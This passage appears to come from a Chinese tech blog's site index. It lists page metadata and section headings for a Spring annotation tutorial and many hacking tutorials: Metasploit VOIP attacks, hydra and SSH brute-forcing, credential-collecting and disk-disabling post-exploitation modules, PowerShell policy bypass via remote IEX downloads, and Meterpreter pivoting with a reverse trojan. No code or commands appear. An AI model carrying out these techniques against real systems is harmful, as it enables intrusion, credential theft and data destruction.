11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"我在 **冰河技术** 微信公众号中发表的《[【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd)》一文中,介绍了如何使用@Autowired、@Qualifier和@Primary注解自动装配Spring组件。那除了这三个注解以外,还有没有其他的注解可以自动装配组件呢?那必须有啊!今天,我们就一起说说@Resource注解和@Inject注解。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:title",content:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html",relativePath:"md/core/spring/ioc/2022-04-04-026-详解@Resource和@Inject注解.md",key:"v-2eabbb1c",path:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@Resource注解",slug:"resource注解"},{level:2,title:"@Inject注解",slug:"inject注解"},{level:2,title:"项目案例",slug:"项目案例"},{level:3,title:"测试@Resource注解",slug:"测试-resource注解"},{level:3,title:"测试@Inject注解",slug:"测试-inject注解"},{level:2,title:"@Resource和@Inject注解与@Autowired注解的区别",slug:"resource和-inject注解与-autowired注解的区别"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit渗透VOIP",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit渗透VOIP",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit渗透VOIP",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit渗透VOIP"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-039-Metasploit%E6%B8%97%E9%80%8FVOIP.html"},{name:"twitter:title",content:"Metasploit渗透VOIP"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-039-Metasploit%E6%B8%97%E9%80%8FVOIP.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-039-Metasploit%E6%B8%97%E9%80%8FVOIP.html",relativePath:"md/hack/tools/2022-04-17-039-Metasploit渗透VOIP.md",key:"v-2e8fdfa8",path:"/md/hack/tools/2022-04-17-039-Metasploit%E6%B8%97%E9%80%8FVOIP.html",headers:[{level:2,title:"对VOIP服务踩点",slug:"对voip服务踩点"},{level:2,title:"扫描VOIP服务",slug:"扫描voip服务"},{level:2,title:"欺骗VOIP电话",slug:"欺骗voip电话"},{level:2,title:"渗透VOIP",slug:"渗透voip"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"破解工具hydra安装与使用",frontmatter:{layout:"post",category:"binghe-code-hack",title:"破解工具hydra安装与使用",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"破解工具hydra安装与使用",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"破解工具hydra安装与使用"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-040-%E7%A0%B4%E8%A7%A3%E5%B7%A5%E5%85%B7hydra%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8.html"},{name:"twitter:title",content:"破解工具hydra安装与使用"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-040-%E7%A0%B4%E8%A7%A3%E5%B7%A5%E5%85%B7hydra%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-040-%E7%A0%B4%E8%A7%A3%E5%B7%A5%E5%85%B7hydra%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8.html",relativePath:"md/hack/tools/2022-04-17-040-破解工具hydra安装与使用.md",key:"v-b5ca6f52",path:"/md/hack/tools/2022-04-17-040-%E7%A0%B4%E8%A7%A3%E5%B7%A5%E5%85%B7hydra%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit自定义SSH认证暴力破解器",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit自定义SSH认证暴力破解器",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit自定义SSH认证暴力破解器",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit自定义SSH认证暴力破解器"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-041-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89SSH%E8%AE%A4%E8%AF%81%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E5%99%A8.html"},{name:"twitter:title",content:"Metasploit自定义SSH认证暴力破解器"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-041-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89SSH%E8%AE%A4%E8%AF%81%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E5%99%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-041-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89SSH%E8%AE%A4%E8%AF%81%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E5%99%A8.html",relativePath:"md/hack/tools/2022-04-17-041-Metasploit自定义SSH认证暴力破解器.md",key:"v-66a56583",path:"/md/hack/tools/2022-04-17-041-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89SSH%E8%AE%A4%E8%AF%81%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E5%99%A8.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit自定义让磁盘失效的后渗透模块",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit自定义让磁盘失效的后渗透模块",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit自定义让磁盘失效的后渗透模块",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit自定义让磁盘失效的后渗透模块"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-042-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E8%AE%A9%E7%A3%81%E7%9B%98%E5%A4%B1%E6%95%88%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:title",content:"Metasploit自定义让磁盘失效的后渗透模块"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-042-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E8%AE%A9%E7%A3%81%E7%9B%98%E5%A4%B1%E6%95%88%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-042-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E8%AE%A9%E7%A3%81%E7%9B%98%E5%A4%B1%E6%95%88%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html",relativePath:"md/hack/tools/2022-04-17-042-Metasploit自定义让磁盘失效的后渗透模块.md",key:"v-56d55b2a",path:"/md/hack/tools/2022-04-17-042-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E8%AE%A9%E7%A3%81%E7%9B%98%E5%A4%B1%E6%95%88%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"PowerShell基本命令和绕过权限执行",frontmatter:{layout:"post",category:"binghe-code-hack",title:"PowerShell基本命令和绕过权限执行",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"PowerShell基本命令和绕过权限执行",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"PowerShell基本命令和绕过权限执行"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-043-PowerShell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4%E5%92%8C%E7%BB%95%E8%BF%87%E6%9D%83%E9%99%90%E6%89%A7%E8%A1%8C.html"},{name:"twitter:title",content:"PowerShell基本命令和绕过权限执行"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-043-PowerShell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4%E5%92%8C%E7%BB%95%E8%BF%87%E6%9D%83%E9%99%90%E6%89%A7%E8%A1%8C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-043-PowerShell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4%E5%92%8C%E7%BB%95%E8%BF%87%E6%9D%83%E9%99%90%E6%89%A7%E8%A1%8C.html",relativePath:"md/hack/tools/2022-04-17-043-PowerShell基本命令和绕过权限执行.md",key:"v-ca9b76f0",path:"/md/hack/tools/2022-04-17-043-PowerShell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4%E5%92%8C%E7%BB%95%E8%BF%87%E6%9D%83%E9%99%90%E6%89%A7%E8%A1%8C.html",headers:[{level:2,title:"基本命令",slug:"基本命令"},{level:2,title:"新建目录",slug:"新建目录"},{level:2,title:"新建文件",slug:"新建文件"},{level:2,title:"删除目录",slug:"删除目录"},{level:2,title:"显示文件内容",slug:"显示文件内容"},{level:2,title:"设置文本内容",slug:"设置文本内容"},{level:2,title:"追加内容",slug:"追加内容"},{level:2,title:"清除内容",slug:"清除内容"},{level:2,title:"执行策略",slug:"执行策略"},{level:2,title:"绕过策略来执行脚本",slug:"绕过策略来执行脚本"},{level:2,title:"绕过本地权限执行",slug:"绕过本地权限执行"},{level:2,title:"本地隐藏绕过权限执行脚本",slug:"本地隐藏绕过权限执行脚本"},{level:2,title:"用IEX下载远程PS1脚本绕过权限执行",slug:"用iex下载远程ps1脚本绕过权限执行"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit自定义收集登录凭证的后渗透模块",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit自定义收集登录凭证的后渗透模块",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit自定义收集登录凭证的后渗透模块",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit自定义收集登录凭证的后渗透模块"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-001-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E6%94%B6%E9%9B%86%E7%99%BB%E5%BD%95%E5%87%AD%E8%AF%81%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:title",content:"Metasploit自定义收集登录凭证的后渗透模块"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-001-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E6%94%B6%E9%9B%86%E7%99%BB%E5%BD%95%E5%87%AD%E8%AF%81%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-001-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E6%94%B6%E9%9B%86%E7%99%BB%E5%BD%95%E5%87%AD%E8%AF%81%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html",relativePath:"md/hack/tools/2022-05-02-001-Metasploit自定义收集登录凭证的后渗透模块.md",key:"v-396197f8",path:"/md/hack/tools/2022-05-02-001-Metasploit%E8%87%AA%E5%AE%9A%E4%B9%89%E6%94%B6%E9%9B%86%E7%99%BB%E5%BD%95%E5%87%AD%E8%AF%81%E7%9A%84%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"利用Java生成穷举字典(数字+字母(大小写)+字符)",frontmatter:{layout:"post",category:"binghe-code-hack",title:"利用Java生成穷举字典(数字+字母(大小写)+字符)",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"利用Java生成穷举字典(数字+字母(大小写)+字符)",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"利用Java生成穷举字典(数字+字母(大小写)+字符)"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-002-%E5%88%A9%E7%94%A8Java%E7%94%9F%E6%88%90%E7%A9%B7%E4%B8%BE%E5%AD%97%E5%85%B8(%E6%95%B0%E5%AD%97+%E5%AD%97%E6%AF%8D(%E5%A4%A7%E5%B0%8F%E5%86%99)+%E5%AD%97%E7%AC%A6).html"},{name:"twitter:title",content:"利用Java生成穷举字典(数字+字母(大小写)+字符)"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-002-%E5%88%A9%E7%94%A8Java%E7%94%9F%E6%88%90%E7%A9%B7%E4%B8%BE%E5%AD%97%E5%85%B8(%E6%95%B0%E5%AD%97+%E5%AD%97%E6%AF%8D(%E5%A4%A7%E5%B0%8F%E5%86%99)+%E5%AD%97%E7%AC%A6).html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-002-%E5%88%A9%E7%94%A8Java%E7%94%9F%E6%88%90%E7%A9%B7%E4%B8%BE%E5%AD%97%E5%85%B8(%E6%95%B0%E5%AD%97+%E5%AD%97%E6%AF%8D(%E5%A4%A7%E5%B0%8F%E5%86%99)+%E5%AD%97%E7%AC%A6).html",relativePath:"md/hack/tools/2022-05-02-002-利用Java生成穷举字典(数字+字母(大小写)+字符).md",key:"v-67e229d8",path:"/md/hack/tools/2022-05-02-002-%E5%88%A9%E7%94%A8Java%E7%94%9F%E6%88%90%E7%A9%B7%E4%B8%BE%E5%AD%97%E5%85%B8(%E6%95%B0%E5%AD%97+%E5%AD%97%E6%AF%8D(%E5%A4%A7%E5%B0%8F%E5%86%99)+%E5%AD%97%E7%AC%A6).html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"PowerShell工具之Powerup详解实录",frontmatter:{layout:"post",category:"binghe-code-hack",title:"PowerShell工具之Powerup详解实录",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"PowerShell工具之Powerup详解实录",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"PowerShell工具之Powerup详解实录"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-003-PowerShell%E5%B7%A5%E5%85%B7%E4%B9%8BPowerup%E8%AF%A6%E8%A7%A3%E5%AE%9E%E5%BD%95.html"},{name:"twitter:title",content:"PowerShell工具之Powerup详解实录"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-003-PowerShell%E5%B7%A5%E5%85%B7%E4%B9%8BPowerup%E8%AF%A6%E8%A7%A3%E5%AE%9E%E5%BD%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-003-PowerShell%E5%B7%A5%E5%85%B7%E4%B9%8BPowerup%E8%AF%A6%E8%A7%A3%E5%AE%9E%E5%BD%95.html",relativePath:"md/hack/tools/2022-05-02-003-PowerShell工具之Powerup详解实录.md",key:"v-911e4aa0",path:"/md/hack/tools/2022-05-02-003-PowerShell%E5%B7%A5%E5%85%B7%E4%B9%8BPowerup%E8%AF%A6%E8%A7%A3%E5%AE%9E%E5%BD%95.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Meterpreter以被控制的计算机为跳板渗透其他服务器",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Meterpreter以被控制的计算机为跳板渗透其他服务器",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Meterpreter以被控制的计算机为跳板渗透其他服务器",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Meterpreter以被控制的计算机为跳板渗透其他服务器"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-004-Meterpreter%E4%BB%A5%E8%A2%AB%E6%8E%A7%E5%88%B6%E7%9A%84%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%BA%E8%B7%B3%E6%9D%BF%E6%B8%97%E9%80%8F%E5%85%B6%E4%BB%96%E6%9C%8D%E5%8A%A1%E5%99%A8.html"},{name:"twitter:title",content:"Meterpreter以被控制的计算机为跳板渗透其他服务器"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-004-Meterpreter%E4%BB%A5%E8%A2%AB%E6%8E%A7%E5%88%B6%E7%9A%84%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%BA%E8%B7%B3%E6%9D%BF%E6%B8%97%E9%80%8F%E5%85%B6%E4%BB%96%E6%9C%8D%E5%8A%A1%E5%99%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-004-Meterpreter%E4%BB%A5%E8%A2%AB%E6%8E%A7%E5%88%B6%E7%9A%84%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%BA%E8%B7%B3%E6%9D%BF%E6%B8%97%E9%80%8F%E5%85%B6%E4%BB%96%E6%9C%8D%E5%8A%A1%E5%99%A8.html",relativePath:"md/hack/tools/2022-05-02-004-Meterpreter以被控制的计算机为跳板渗透其他服务器.md",key:"v-3594623a",path:"/md/hack/tools/2022-05-02-004-Meterpreter%E4%BB%A5%E8%A2%AB%E6%8E%A7%E5%88%B6%E7%9A%84%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%BA%E8%B7%B3%E6%9D%BF%E6%B8%97%E9%80%8F%E5%85%B6%E4%BB%96%E6%9C%8D%E5%8A%A1%E5%99%A8.html",headers:[{level:2,title:"扫描指定主机的服务和端口",slug:"扫描指定主机的服务和端口"},{level:2,title:"列出在目标端口上运行的服务",slug:"列出在目标端口上运行的服务"},{level:2,title:"过滤服务,只显示开启的服务",slug:"过滤服务-只显示开启的服务"},{level:2,title:"列出数据库中所有的主机",slug:"列出数据库中所有的主机"},{level:2,title:"漏洞攻击",slug:"漏洞攻击"},{level:2,title:"生成反弹木马",slug:"生成反弹木马"},{level:2,title:"启动Kali上的Apache服务,并将backdoor.elf放置到服务器中",slug:"启动kali上的apache服务-并将backdoor-elf放置到服务器中"},{level:2,title:"在目标机上下载木马文件",slug:"在目标机上下载木马文件"},{level:2,title:"在新开启的终端上执行如下命令",slug:"在新开启的终端上执行如下命令"},{level:2,title:"在目标机上运行木马文件",slug:"在目标机上运行木马文件"},{level:2,title:"查看反弹的Meterpreter终端",slug:"查看反弹的meterpreter终端"},{level:2,title:"添加路由",slug:"添加路由"},{level:2,title:"启动监听",slug:"启动监听"},{level:2,title:"配置攻击机(192.168.75.10)/etc/proxychains.conf",slug:"配置攻击机-192-168-75-10-etc-proxychains-conf"},{level:2,title:"配置Forefox代理",slug:"配置forefox代理"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Win10完美去除桌面快捷图标小箭头",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Win10完美去除桌面快捷图标小箭头",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Win10完美去除桌面快捷图标小箭头",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Win10完美去除桌面快捷图标小箭头"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-005-Win10%E5%AE%8C%E7%BE%8E%E5%8E%BB%E9%99%A4%E6%A1%8C%E9%9D%A2%E5%BF%AB%E6%8D%B7%E5%9B%BE%E6%A0%87%E5%B0%8F%E7%AE%AD%E5%A4%B4.html"},{name:"twitter:title",content:"Win10完美去除桌面快捷图标小箭头"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-005-Win10%E5%AE%8C%E7%BE%8E%E5%8E%BB%E9%99%A4%E6%A1%8C%E9%9D%A2%E5%BF%AB%E6%8D%B7%E5%9B%BE%E6%A0%87%E5%B0%8F%E7%AE%AD%E5%A4%B4.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-005-Win10%E5%AE%8C%E7%BE%8E%E5%8E%BB%E9%99%A4%E6%A1%8C%E9%9D%A2%E5%BF%AB%E6%8D%B7%E5%9B%BE%E6%A0%87%E5%B0%8F%E7%AE%AD%E5%A4%B4.html",relativePath:"md/hack/tools/2022-05-02-005-Win10完美去除桌面快捷图标小箭头.md",key:"v-6d250ead",path:"/md/hack/tools/2022-05-02-005-Win10%E5%AE%8C%E7%BE%8E%E5%8E%BB%E9%99%A4%E6%A1%8C%E9%9D%A2%E5%BF%AB%E6%8D%B7%E5%9B%BE%E6%A0%87%E5%B0%8F%E7%AE%AD%E5%A4%B4.html",headers:[{level:2,title:"去掉小箭头",slug:"去掉小箭头"},{level:2,title:"恢复小箭头",slug:"恢复小箭头"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"OpenVAS 8.0 Vulnerability Scanning",frontmatter:{layout:"post",category:"binghe-code-hack",title:"OpenVAS 8.0 Vulnerability Scanning",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"OpenVAS 8.0 Vulnerability Scanning",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"OpenVAS 8.0 Vulnerability Scanning"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-006-OpenVAS8.0-Vulnerability-Scanning.html"},{name:"twitter:title",content:"OpenVAS 8.0 Vulnerability Scanning"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-006-OpenVAS8.0-Vulnerability-Scanning.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-006-OpenVAS8.0-Vulnerability-Scanning.html",relativePath:"md/hack/tools/2022-05-02-006-OpenVAS8.0-Vulnerability-Scanning.md",key:"v-3f800729",path:"/md/hack/tools/2022-05-02-006-OpenVAS8.0-Vulnerability-Scanning.html",headers:[{level:2,title:"Setting up Kali for Vulnerability Scanning",slug:"setting-up-kali-for-vulnerability-scanning"},{level:2,title:"Starting the OpenVAS services",slug:"starting-the-openvas-services"},{level:2,title:"Connecting to the OpenVAS Web Interface",slug:"connecting-to-the-openvas-web-interface"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"kali Metasploit 连接 Postgresql 默认密码",frontmatter:{layout:"post",category:"binghe-code-hack",title:"kali Metasploit 连接 Postgresql 默认密码",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"kali Metasploit 连接 Postgresql 默认密码",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"kali Metasploit 连接 Postgresql 默认密码"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-007-kali-Metasploit%E8%BF%9E%E6%8E%A5Postgresql%E9%BB%98%E8%AE%A4%E5%AF%86%E7%A0%81.html"},{name:"twitter:title",content:"kali Metasploit 连接 Postgresql 默认密码"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-007-kali-Metasploit%E8%BF%9E%E6%8E%A5Postgresql%E9%BB%98%E8%AE%A4%E5%AF%86%E7%A0%81.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-007-kali-Metasploit%E8%BF%9E%E6%8E%A5Postgresql%E9%BB%98%E8%AE%A4%E5%AF%86%E7%A0%81.html",relativePath:"md/hack/tools/2022-05-02-007-kali-Metasploit连接Postgresql默认密码.md",key:"v-7eb29104",path:"/md/hack/tools/2022-05-02-007-kali-Metasploit%E8%BF%9E%E6%8E%A5Postgresql%E9%BB%98%E8%AE%A4%E5%AF%86%E7%A0%81.html",headers:[{level:2,title:"启动 postgresql",slug:"启动-postgresql"},{level:2,title:"自行测试 postgresql 是否安装成功",slug:"自行测试-postgresql-是否安装成功"},{level:2,title:"初始化MSF数据库(关键步骤)",slug:"初始化msf数据库-关键步骤"},{level:2,title:"启动 msfconsole",slug:"启动-msfconsole"},{level:2,title:"检测 db 连接状态",slug:"检测-db-连接状态"},{level:2,title:"如果连接异常会显示",slug:"如果连接异常会显示"},{level:2,title:"手动连接数据库",slug:"手动连接数据库"},{level:2,title:"如果不想每次都手动连接,可以修改配置文件,设置数据库密码",slug:"如果不想每次都手动连接-可以修改配置文件-设置数据库密码"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"kali 使用OpenVAS进行漏洞扫描",frontmatter:{layout:"post",category:"binghe-code-hack",title:"kali 使用OpenVAS进行漏洞扫描",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"使用OpenVAS进行漏洞扫描",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"kali 使用OpenVAS进行漏洞扫描"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-05-02-008-%E4%BD%BF%E7%94%A8OpenVAS%E8%BF%9B%E8%A1%8C%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F.html"},{name:"twitter:title",content:"kali 使用OpenVAS进行漏洞扫描"},{name:"twitter:url",content:"/md/hack/tools/2022-05-02-008-%E4%BD%BF%E7%94%A8OpenVAS%E8%BF%9B%E8%A1%8C%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-05-02-008-%E4%BD%BF%E7%94%A8OpenVAS%E8%BF%9B%E8%A1%8C%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F.html",relativePath:"md/hack/tools/2022-05-02-008-使用OpenVAS进行漏洞扫描.md",key:"v-61a1e6a4",path:"/md/hack/tools/2022-05-02-008-%E4%BD%BF%E7%94%A8OpenVAS%E8%BF%9B%E8%A1%8C%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F.html",headers:[{level:2,title:"在Metasploit中加载OpenVAS插件",slug:"在metasploit中加载openvas插件"},{level:2,title:"将Metasploit中的OpenVAS插件与OpenVAS软件本身连接",slug:"将metasploit中的openvas插件与openvas软件本身连接"},{level:2,title:"创建工作区",slug:"创建工作区"},{level:2,title:"查看帮助信息",slug:"查看帮助信息"},{level:2,title:"创建一个名为NetScan的工作区",slug:"创建一个名为netscan的工作区"},{level:2,title:"切换到NetScan工作区",slug:"切换到netscan工作区"},{level:2,title:"创建目标",slug:"创建目标"},{level:2,title:"定义策略",slug:"定义策略"},{level:2,title:"创建扫描任务",slug:"创建扫描任务"},{level:2,title:"开始扫描",slug:"开始扫描"},{level:2,title:"查看任务进度",slug:"查看任务进度"},{level:2,title:"列出扫描报告",slug:"列出扫描报告"},{level:2,title:"查看所有的格式ID",slug:"查看所有的格式id"},{level:2,title:"将报告导入数据库",slug:"将报告导入数据库"},{level:2,title:"查看MSF中的漏洞数据库",slug:"查看msf中的漏洞数据库"},{level:2,title:"通过浏览器访问",slug:"通过浏览器访问"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"kali 对威胁建模(附加搭建CVE:2014-6287漏洞环境)",frontmatter:{layout:"post",category:"binghe-code-hack",title:"kali 